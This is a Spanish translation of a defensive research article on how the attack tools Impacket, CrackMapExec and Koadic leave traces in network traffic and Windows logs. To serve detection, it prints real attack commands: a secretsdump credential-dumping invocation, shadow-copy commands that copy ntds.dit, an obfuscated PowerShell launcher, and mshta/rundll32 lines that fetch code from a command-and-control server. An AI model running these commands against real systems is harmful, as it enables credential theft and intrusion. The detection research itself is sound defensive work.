
El número de ataques en el sector corporativo crece cada año: por ejemplo,
en 2017, se registraron un 13% más de incidentes únicos que en 2016, y para fines de 2018,
se registraron un 27% más de incidentes que en el período anterior. Incluyendo aquellos donde la herramienta de trabajo principal es el sistema operativo Windows. En 2017-2018, los
grupos APT Dragonfly, APT28,
APT MuddyWater atacaron a organizaciones gubernamentales y militares en Europa, América del Norte y Arabia Saudita. Y utilizaron tres herramientas para esto:
Impacket ,
CrackMapExec y
Koadic . Su código fuente está abierto y disponible en GitHub.
Vale la pena señalar que estas herramientas no se utilizan para la penetración inicial, sino para el desarrollo de un ataque dentro de la infraestructura. Los atacantes los usan en diferentes etapas del ataque, después de superar el perímetro. Esto, por cierto, es difícil de detectar y, a menudo, solo con la ayuda de tecnologías para
identificar rastros de compromiso en el tráfico de red o herramientas que pueden
detectar las acciones activas de un atacante después de que penetra en la infraestructura . Las herramientas proporcionan muchas funciones, desde transferir archivos hasta interactuar con el registro y ejecutar comandos en una máquina remota. Realizamos un estudio de estas herramientas para determinar la actividad de su red.
Lo que necesitábamos hacer:
- Comprende cómo funcionan las herramientas de piratería . Descubra qué atacantes necesitan para operar y qué tecnologías pueden usar.
- Encuentre lo que no detectan las herramientas de seguridad de la información en las primeras etapas de un ataque . La etapa de inteligencia se puede omitir, ya sea porque el atacante es un atacante interno o porque el atacante explota una brecha en la infraestructura que no se conocía anteriormente. Existe la oportunidad de restaurar toda la cadena de sus acciones, de ahí el deseo de detectar más movimientos.
- Elimine las falsas alarmas de las herramientas de detección de intrusos . No debemos olvidar que al detectar ciertas acciones solo con base en la inteligencia, son posibles errores frecuentes. Por lo general, en la infraestructura hay un número suficiente de formas, indistinguibles de las legítimas a primera vista, para obtener cualquier información.
¿Qué dan estas herramientas a los atacantes? Si se trata de Impacket, los atacantes obtienen una gran biblioteca de módulos que se pueden usar en diferentes etapas del ataque, después de romper el perímetro. Muchas herramientas usan módulos Impacket dentro de sí mismos, por ejemplo, Metasploit. Tiene dcomexec y wmiexec para la ejecución remota de comandos, secretsdump para recuperar cuentas de la memoria que se agregan desde Impacket. Como resultado, la detección correcta de la actividad de dicha biblioteca también se garantizará mediante la detección de derivados.
Sobre CrackMapExec (o simplemente CME), los creadores por casualidad escribieron "Powered by Impacket". Además, CME tiene una funcionalidad preparada para escenarios populares: es Mimikatz para obtener contraseñas o sus hashes, y la implementación de Meterpreter o el agente Empire para la ejecución remota, y Bloodhound a bordo.
La tercera herramienta que seleccionamos es Koadic. Es bastante reciente, se presentó en la conferencia internacional de hackers DEFCON 25 en 2017 y tiene un enfoque no estándar: funciona a través de HTTP, Java Script y Microsoft Visual Basic Script (VBS). Este enfoque se llama vivir de la tierra: la herramienta utiliza un conjunto de dependencias y bibliotecas integradas en Windows. Los creadores lo llaman COM Command Control, o C3.
PAQUETE
La funcionalidad de Impacket es muy amplia, comenzando desde el reconocimiento dentro de AD y recolectando datos de servidores internos MS SQL, terminando con técnicas para obtener credenciales: este es un ataque de retransmisión SMB y recibe un archivo ntds.dit que contiene hashes de contraseña de usuario de un controlador de dominio. Impacket también ejecuta comandos de forma remota utilizando cuatro métodos diferentes: a través de WMI, un servicio para administrar el planificador de Windows, DCOM y SMB, y para esto necesita credenciales.
Secretsdump
Echemos un vistazo a secretsdump. Este es un módulo cuyo propósito puede ser tanto máquinas de usuario como controladores de dominio. Al usarlo, puede obtener copias de las áreas de memoria LSA, SAM, SECURITY, NTDS.dit, para que pueda verse en las diferentes etapas del ataque. El primer paso en la operación del módulo es la autenticación a través de SMB, que requiere una contraseña de usuario o su hash para realizar automáticamente un ataque Pass the Hash. Lo siguiente es una solicitud para abrir el acceso a Service Control Manager (SCM) y obtener acceso al registro utilizando el protocolo winreg, mediante el cual un atacante puede encontrar los datos de las sucursales que le interesan y obtener los resultados a través de SMB.
En la fig. 1 vemos cómo exactamente cuando se utiliza el acceso al protocolo winreg se obtiene mediante la clave de registro con LSA. Para hacer esto, use el comando DCERPC con el código de operación 15 - OpenKey.
Fig. 1. Abrir la clave de registro utilizando el protocolo winregAdemás, cuando se obtiene el acceso clave, los valores se guardan utilizando el comando SaveKey con el código de operación 20. Impacket lo hace muy específico. Guarda los valores en un archivo cuyo nombre es una cadena de 8 caracteres aleatorios con la adición de .tmp. Además, la descarga adicional de este archivo se realiza a través de SMB desde el directorio System32 (Fig. 2).
Fig. 2. Esquema para obtener una clave de registro de una máquina remotaResulta que puede detectar dicha actividad en la red al consultar ciertas ramas del registro utilizando el protocolo winreg, nombres específicos, comandos y su orden.
Este módulo también deja rastros en el registro de eventos de Windows, por lo que se detecta fácilmente. Por ejemplo, como resultado de un comando
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
en el registro de Windows Server 2016, veremos la siguiente secuencia de eventos clave:
1. 4624 - Inicio de sesión remoto.
2. 5145 - verificación de los derechos de acceso al servicio remoto winreg.
3. 5145: comprobación de permisos de archivos en el directorio System32. El archivo tiene el nombre aleatorio mencionado anteriormente.
4. 4688: creación del proceso cmd.exe que inicia vssadmin:
“C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688 - creando un proceso con el comando:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
6. 4688 - creando un proceso con el comando:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
7. 4688 - creando un proceso con el comando:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Smbexec
Al igual que muchas herramientas posteriores a la explotación, Impacket tiene módulos para la ejecución remota de comandos. Nos centraremos en smbexec, que proporciona un shell interactivo en una máquina remota. Este módulo también requiere autenticación SMB con una contraseña o su hash. En la fig. 3 vemos un ejemplo de cómo funciona dicha herramienta, en este caso es una consola de administrador local.
Fig. 3. Consola interactiva SmbexecEl primer paso en smbexec después de la autenticación es abrir el SCM con el comando OpenSCManagerW (15). La solicitud es notable: en ella, el campo MachineName se establece en DUMMY.
Fig. 4. Solicitud para abrir Service Control ManagerA continuación, se crea un servicio utilizando el comando CreateServiceW (12). En el caso de smbexec, podemos ver la misma lógica de trabajo en equipo cada vez. En la fig. 5 verde indica los parámetros invariables del comando, amarillo: lo que el atacante puede cambiar. Es fácil notar que el nombre del archivo ejecutable, su directorio y el archivo de salida se pueden cambiar, pero el resto se puede cambiar mucho más difícil sin violar la lógica del módulo Impacket.
Fig. 5. Solicitud para crear un servicio utilizando Service Control ManagerSmbexec también deja huellas claras en el registro de eventos de Windows. En el registro de Windows Server 2016 para el shell interactivo con el comando ipconfig, veremos la siguiente secuencia de eventos clave:
1. 4697 - instalación del servicio en la máquina de la víctima:
%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
2. 4688 - creación del proceso cmd.exe con los argumentos del párrafo 1.
3. 5145: comprobación de permisos en el archivo de salida __ en el directorio C $.
4. 4697 - instalación del servicio en la máquina de la víctima.
%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688: creación del proceso cmd.exe con los argumentos del párrafo 4.
6. 5145: comprobación de los derechos de acceso al archivo __output en el directorio C $.
Impacket es la base para desarrollar herramientas de ataque. Es compatible con casi todos los protocolos en la infraestructura de Windows y al mismo tiempo tiene sus propias características. Aquí hay solicitudes específicas de winreg, y el uso de la API SCM con la formación característica de comandos, y el formato de nombre de archivo, y SMB comparten SYSTEM32.
CRACKMAPEXEC
La herramienta CME está diseñada principalmente para automatizar las acciones de rutina que un atacante debe realizar para avanzar dentro de la red. Le permite trabajar en conjunto con el notorio agente de Empire y Meterpreter. Para ejecutar comandos de forma encubierta, el CME puede ofuscarlos. Usando Bloodhound (una herramienta de inteligencia separada), un atacante puede automatizar la búsqueda de una sesión de administrador de dominio activo.
Sabueso
Bloodhound como herramienta independiente permite una inteligencia avanzada dentro de la red. Recopila datos sobre usuarios, máquinas, grupos, sesiones y viene en forma de script en PowerShell o un archivo binario. Los protocolos basados en LDAP o SMB se utilizan para recopilar información. El módulo de integración CME le permite descargar Bloodhound a la máquina de la víctima, ejecutar y recibir los datos recopilados después de la ejecución, automatizando así las acciones en el sistema y haciéndolos menos visibles. El shell gráfico Bloodhound presenta los datos recopilados en forma de gráficos, lo que le permite encontrar la ruta más corta desde la máquina atacante hasta el administrador del dominio.
Fig. 6. interfaz BloodhoundPara ejecutarse en la máquina de la víctima, el módulo crea una tarea usando ATSVC y SMB. ATSVC es una interfaz para trabajar con el Programador de tareas de Windows. CME utiliza su función NetrJobAdd (1) para crear tareas en la red. Un ejemplo de lo que envía el módulo CME se muestra en la fig. 7: Esta es una llamada a cmd.exe y al código ofuscado como argumentos en formato XML.
Fig.7. Crear una tarea a través de CMEUna vez completada la tarea, la máquina de la víctima lanza Bloodhound, y esto se puede ver en el tráfico. El módulo se caracteriza por consultas LDAP para recibir grupos estándar, una lista de todas las máquinas y usuarios en el dominio, recibir información sobre sesiones de usuario activas a través de la solicitud SRVSVC NetSessEnum.
Fig. 8. Obtener una lista de sesiones activas a través de SMBAdemás, el lanzamiento de Bloodhound en la máquina de la víctima con la auditoría habilitada se acompaña de un evento con ID 4688 (creación del proceso) y el nombre del proceso
«C:\Windows\System32\cmd.exe»
. En él destacan los argumentos de la línea de comandos:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
Desde el punto de vista de la funcionalidad y la implementación, el módulo enum_avproducts es muy interesante. WMI permite usar el lenguaje de consulta WQL para recibir datos de varios objetos de Windows, que es esencialmente lo que usa este módulo CME. Genera solicitudes a las clases AntiSpywareProduct y AntiMirusProduct sobre las protecciones instaladas en la máquina de la víctima. Para obtener los datos necesarios, el módulo se conecta al espacio de nombres root \ SecurityCenter2, luego genera una consulta WQL y recibe una respuesta. En la fig. La Figura 9 muestra el contenido de tales solicitudes y respuestas. En nuestro ejemplo, se encontró Windows Defender.
Fig. 9. Actividad de red del módulo enum_avproductsA menudo, la auditoría WMI (Trace WMI-Activity), en los eventos en los que puede encontrar información útil sobre consultas WQL, puede desactivarse. Pero si está activado, si se ejecuta el script enum_avproducts, se guardará el evento con ID 11. Contendrá el nombre del usuario que envió la solicitud y el nombre en el espacio de nombres root \ SecurityCenter2.
Cada uno de los módulos CME reveló sus propios artefactos, ya sean consultas WQL específicas o la creación de un cierto tipo de tarea en el programador de tareas con ofuscación y la actividad típica de Bloodhound en LDAP y SMB.
Koadic
Una característica distintiva de Koadic es el uso de intérpretes integrados de Windows JavaScript y VBScript. En este sentido, sigue la tendencia de vivir de la tierra, es decir, no tiene dependencias externas y utiliza herramientas estándar de Windows. Esta es una herramienta para Comando y Control completo (CnC), porque después de la infección, se instala un "implante" en la máquina, lo que permite su control. Dicha máquina, en la terminología de Koadic, se llama "zombie". Con la falta de privilegios para el trabajo completo en el lado de la víctima, Koadic tiene la capacidad de criarlos utilizando la técnica de derivación UAC.
Fig. 10. Command Shell KoadicLa víctima debe iniciar la comunicación con el servidor de Comando y Control. Para hacer esto, ella necesita solicitar un URI pre-preparado y obtener el cuerpo principal de Koadic usando uno de los escenarios. En la fig. 11 muestra un ejemplo para el stager mshta.
Fig. 11. Inicializando una sesión con un servidor CnCUsando la variable de respuesta WS, queda claro que la ejecución se produce a través de WScript.Shell, y las variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contienen información clave sobre los parámetros de la sesión actual. Este es el primer par de solicitud-respuesta en una conexión HTTP a un servidor CnC. Las solicitudes posteriores están directamente relacionadas con la funcionalidad de los módulos llamados (implantes). Todos los módulos Koadic funcionan solo con una sesión activa con CnC.
Mimikatz
Así como CME trabaja con Bloodhound, Koadic trabaja con Mimikatz como un programa independiente y tiene varias formas de ejecutarlo. A continuación se muestra un par de solicitud-respuesta para cargar un implante Mimikatz.
Fig. 12. Transferencia de Mimikatz a KoadicPuede observar cómo ha cambiado el formato de URI en la solicitud. En él apareció el valor de la variable csrf, que es responsable del módulo seleccionado. No le prestes atención a su nombre; Todos sabemos que CSRF generalmente se entiende de manera diferente. En respuesta, entró el mismo cuerpo principal de Koadic, en el que se agregó el código asociado con Mimikatz. Es lo suficientemente grande, así que considere los puntos clave. Ante nosotros se encuentra la biblioteca Mimikatz codificada en base64, la clase serializada .NET que la inyectará y los argumentos para ejecutar Mimikatz. El resultado de la ejecución se transmite a través de la red en claro.
Fig. 13. El resultado de ejecutar Mimikatz en una máquina remotaExec_cmd
Koadic también tiene módulos que pueden ejecutar comandos de forma remota. Aquí veremos el mismo método de generación de URI y las variables familiares sid y csrf. En el caso del módulo exec_cmd, el código se agrega al cuerpo que es capaz de ejecutar comandos de shell. El siguiente código se muestra en la respuesta HTTP del servidor CnC.
Fig. 14. El código del implante exec_cmdLa variable GAWTUUGCFI con el conocido atributo WS es necesaria para la ejecución del código. Con su ayuda, el implante llama al shell, procesando dos ramas de código: shell.exec con el retorno del flujo de datos de salida y shell.run sin regresar.
Koadic no es una herramienta típica, pero tiene sus propios artefactos por los cuales se puede encontrar en el tráfico legítimo:
- formación especial de solicitudes HTTP,
- usando la API winHttpRequests,
- creando un objeto WScript.Shell a través de ActiveXObject,
- Gran cuerpo ejecutable.
La conexión inicial inicia el stager, por lo que es posible detectar su actividad a través de eventos de Windows. Para mshta, este es el evento 4688, que habla sobre la creación de un proceso con un atributo de lanzamiento:
C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6
Durante la ejecución de Koadic, puede ver otros 4688 eventos con atributos que lo caracterizan perfectamente:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Conclusiones
La tendencia a vivir de la tierra está ganando popularidad entre los intrusos. Utilizan las herramientas y mecanismos integrados de Windows para sus necesidades. Vemos cómo las populares herramientas Koadic, CrackMapExec e Impacket que siguen este principio se encuentran cada vez más en los informes APT. La cantidad de tenedores en GitHub para estas herramientas también está creciendo, aparecen nuevas (ahora ya hay alrededor de mil). La tendencia está ganando popularidad debido a su simplicidad: los atacantes no necesitan herramientas de terceros, ya están en las máquinas de las víctimas y ayudan a evitar las herramientas de protección. Nos centramos en estudiar la conectividad de la red: cada herramienta descrita anteriormente deja su huella en el tráfico de la red; un estudio detallado de ellos nos permitió enseñarle a nuestro producto
PT Network Attack Discovery para detectarlos, lo que finalmente ayuda a investigar toda la cadena de incidentes cibernéticos que los involucran.
Autores- Anton Tyurin, jefe de servicios expertos, PT Expert Security Center, tecnologías positivas
- Egor Podmokov, experto, PT Expert Security Center, Tecnologías positivas